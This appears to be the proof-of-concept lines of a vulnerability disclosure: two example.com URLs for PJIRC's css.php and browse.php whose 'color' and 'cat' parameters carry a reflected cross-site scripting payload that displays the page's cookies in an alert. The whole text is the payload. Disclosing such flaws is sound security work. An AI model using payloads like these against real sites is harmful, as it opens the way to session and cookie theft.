http://www.example.com/pjirc/css.php?color=<script>alert(document.cookie);</script> http://www.example.com/browse.php?cat=<script>alert(document.cookie);</script>